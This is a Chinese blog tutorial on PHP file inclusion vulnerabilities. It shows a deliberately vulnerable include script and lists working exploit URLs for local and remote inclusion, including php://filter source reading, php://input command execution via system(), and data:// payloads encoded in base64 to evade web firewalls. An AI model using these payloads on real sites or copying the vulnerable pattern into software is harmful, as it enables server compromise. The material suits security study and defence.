文件包含漏洞

0x00前言在我们文件上传的时候,如果是白名单通常会配合到文件包含和解析漏洞来getshell,那么这里先来说说文件包含。0x01 文件包含漏洞在php当中的文件包含的内容都会被当作php

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

 0x00  前言

在我们文件上传的时候,如果是白名单通常会配合到文件包含和解析漏洞来getshell,那么这里先来说说文件包含。

0x01 文件包含漏洞

在php当中的文件包含的内容都会被当作php来执行,文件包含本来是个很常见的语法,在一些cms或者是网站源码里面都可以经常看到会包含到一个数据库文件用于连接数据库。直接的去包含一个文件是安全的,但一些开发人员为了灵活方便,去 动态的去包含一个文件的时候就造成了这么一个漏洞。

文件包含函数如下:

include()
include_once()
require()
require_once()

 

下面来编写一个简单的文件包含脚本

<?php $file = $_GET['file'];
include $file;
?>

 

这里get的方式接收file传参过来的内容,然后包含file传参过来的内容。

那么这时候我们如果上传了一个照片马的话,可以直接调用包含来包含我们的照片马,达到getshell的目的。


文件包含漏洞

这里包含了个txt文件,里面的内容直接被当作代码来执行了。

在文件包含当中也分为本地文件包含(LFI)和远程文件包含(RFI)

两者的区别在于本地文件包含只能包含本地的文件,需要上传图片马到对方服务器上,而远程文件包含可以直接调用远程的文件进行包含。但是远程文件包含的条件是:

allow_url_fopen = On    (默认开启)allow_url_include = On  (默认关闭)被包含的变量前没有目录的限制

文件包含漏洞

开启后能直接包含到远程的文件。

协议也可以直接包含文件,


文件包含漏洞

这里直接包含了一个c盘下的1.txt文件内容就可以被我们给显示出来了。

0x02 文件包含伪协议

文件包含的伪协议有如下:

file://    访问本地文件系统
http://    访问 HTTPs 网址
ftp://     访问 ftp URL
Php://     访问输入输出流
Zlib://    压缩流
Data:
//
Ssh2:// security shell2 Expect:// 处理交互式的流 Glob:// 查找匹配的文件路径 phar:// PHP 归档

 

file伪协议读取本地文件:

http://localhost/include/include.php?file=file://c:\1.txt

 

这里需要写入绝对路径 否则包含不了。

php伪协议利用:

php://伪协议主要分为input 和 filter,input 的利用条件是开启allow_url_include,而filter不需要。

http://127.0.0.1/include/include.php?file=php://filter/resource=../test/1.txt

 

使用文件包含读取源码

php://filter/read=convert.base64-encode/resource=include.php

 

这里使用base64加密后读取文件,如果直接读取php文件会失败,或者直接被执行。

php://input使用条件:

allow_url_include   为on

 

http://127.0.0.1/include/include.php?file=php://input

 

post传入数据

<?php system('ipconfig');?>

 


文件包含漏洞

phar://伪协议利用:

利用条件: php版本大于5.3

http://127.0.0.1/include/include.php?file=phar://phpinfo.rar/phpinfo.txt

 

这个方法在绕过一些waf上有一定的作用

zip://伪协议利用:

http://127.0.0.1/include/include.php?file=zip://phpinfo.rar%23phpinfo.txt

 

这里和前面的不同需要用到个#号

data://伪协议利用:

利用条件:

 
http://127.0.0.1/include/include.php?file=data://test/plain,<?php phpinfo();?>

 

这里还可以传入base64的值 有一直概率的绕过waf的拦截

http://127.0.0.1/include/include.php?file=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

  

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119967.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 添加打印机时错误为0x0000011b_连接打印机0x000003e3

    添加打印机时错误为0x0000011b_连接打印机0x000003e3问题描述前几天共享打印机还可以使用的突然就不能打印了,删除重新安装时就提示windows无法连接到打印机,如下图:解决方案这是的补丁代号为KB5005569/KB5005573/KB5005568/KB5005566/KB5005565造成的。卸掉上述补丁即可解决问题步骤找到设置——>更新和安全—->Windows更新—->“查看更新历史记录—->卸载更新本人的经验分享,希望可以帮助到你们,如何不对的地方,可以评论留言,帮我指正一下,如果帮助了你

    2025年9月3日
    9
  • 零基础成为黑客[通俗易懂]

    零基础成为黑客[通俗易懂]笔者刚乱入了CTF,算是入门了,此处分享一下入门经验一个漏洞练习平台:https://github.com/gh0stkey/DoraBox使用教程参考:https://www.cnblogs.com/zhaijiahui/p/10789251.html攻防世界:https://adworld.xctf.org.cn/task这个网站很良心,第一次点开这个网站,仿佛看到了新世界…

    2022年5月9日
    57
  • 什么是TCP粘包?怎么解决这个问题[通俗易懂]

    什么是TCP粘包?怎么解决这个问题[通俗易懂]在socket网络编程中,都是端到端通信,由客户端端口+服务端端口+客户端IP+服务端IP+传输协议组成的五元组可以明确的标识一条连接。在TCP的socket编程中,发送端和接收端都有成对的socket。发送端为了将多个发往接收端的包,更加高效的的发给接收端,于是采用了优化算法(Nagle算法),将多次间隔较小、数据量较小的数据,合并成一个数据量大的数据块,然后进行封包。那么这样一来,接收端就必须…

    2022年8月11日
    5
  • 半同步复制简介

    半同步复制简介

    2022年3月5日
    42
  • 【Java】Java四舍五入保留1位小数、2位小数…

    【Java】Java四舍五入保留1位小数、2位小数…Java四舍五入保留1位小数的方法:importjava.math.BigDecimal;publicclassTest{publicstaticvoidmain(String[]args){doubled1=3.02;System.out.println(d1);//利用字符串格式化的方式实现四舍五入…

    2022年5月11日
    36
  • 绘制UML各种图详解「建议收藏」

    绘制UML各种图详解「建议收藏」来源:http://blog.csdn.net/shift_wwx/article/details/79205187一、前言在软件开发过程中会经常整理文档,不是所有的信息都可以通过文字来表达,而换成图之后会更加的直观、有效,其中频繁使用的就是UML图。结合自己实践总结一下,希望对大家都能有所帮助。本文中的UML图都是用visio绘制,sourcecode展示是Ja…

    2022年8月13日
    6

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号